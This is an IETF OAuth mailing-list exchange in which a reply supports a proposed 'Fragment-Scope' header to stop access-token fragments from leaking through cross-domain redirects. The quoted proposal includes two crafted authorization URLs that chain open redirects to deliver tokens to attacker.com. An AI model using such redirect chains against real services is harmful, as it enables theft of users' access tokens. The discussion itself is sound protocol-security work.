Re: [OAUTH-WG] New header "Fragment-Scope" to prevent assertions leakage through redirects

[John Bradley <[e-mail]>]

Thanks,

I have tried to document the response headers that can help stop leaking referrer. 

Being able to do the same thing to stop fragment leaking would be a good thing.

If the W3C adds that then I would add it to our recommendations.  

In the Interim without browser support we may need to look at other methods to pass tokens to clients in the browser.

I am certainly interested in tracking your proposal.

John B.

> On Apr 10, 2015, at 4:00 PM, isciurus <[e-mail]> wrote:
> 
> Hi,
> 
> One of the recent drafts https://tools.ietf.org/id/draft-bradley-oauth-open-redirector-01.html <https://tools.ietf.org/id/draft-bradley-oauth-open-redirector-01.html> was brought to my attention. Regarding the part "2.2. Security Compromise: The Authorization Server As Open Redirector":
> 
>     The legitimate OAuth Authorization response will include an access token in the URI fragment.
>     Most web browsers will append the fragment to the URI sent in the location header of a 302 response if no fragment is included in the location URI.
>     
> This browser behaviour with a url fragment reattaching is indeed used widely in attacks on OAuth (for example, one of the recent on the bitcoin exchange http://sakurity.com/blog/2015/01/10/hacking-bitcoin-exchanger.html <http://sakurity.com/blog/2015/01/10/hacking-bitcoin-exchanger.html>) and I am also aware of one attack on OpenID 2 implementation leaking a valid signature using the same technique.
> We are trying to propose a browser-level protection from sensitive url fragment data reattach on cross-domain redirects: http://lists.w3.org/Archives/Public/ietf-http-wg/2015JanMar/0066.html <http://lists.w3.org/Archives/Public/ietf-http-wg/2015JanMar/0066.html>
> A new header in the AS response would also block fragment reattach in the following scenario:
>   
>   https://AUTHORIZATION_SERVER/authorize?response_type=token <https://authorization_server/authorize?response_type=token>
>   &client_id=good-client&scope=VALID_SCOPE
>   &redirect_uri=https%3A%2F%2AUTHORIZATION_SERVER%Fauthorize
>   %3Fresponse_type%3Dcode
>   %26client_id%3Dattacker-client-id
>   %26scope%3DINVALID_SCOPE
>   %26redirect_uri%3Dhttps%253A%252F%252Fattacker.com
>   
> But it would additionally block exploitation of vulnerable clients which have open redirects on their domains and don't whitelist their redirect_uri:
>   
>   https://AUTHORIZATION_SERVER/authorize?response_type=token <https://authorization_server/authorize?response_type=token>
>   &client_id=good-client&scope=VALID_SCOPE
>   &redirect_uri=https%3A%2F%2good-client.com <http://2good-client.com/>%Fopen_redirect
>   %3Furl%3Dhttps%253A%252F%252Fattacker.com
>   
> This can improve the situation with already deployed clients in large scale. Let me know if this proposal is interesting to the OAuth WG.
> 
> Thanks,
> Andrey
> _______________________________________________
> OAuth mailing list
> [e-mail]
> https://www.ietf.org/mailman/listinfo/oauth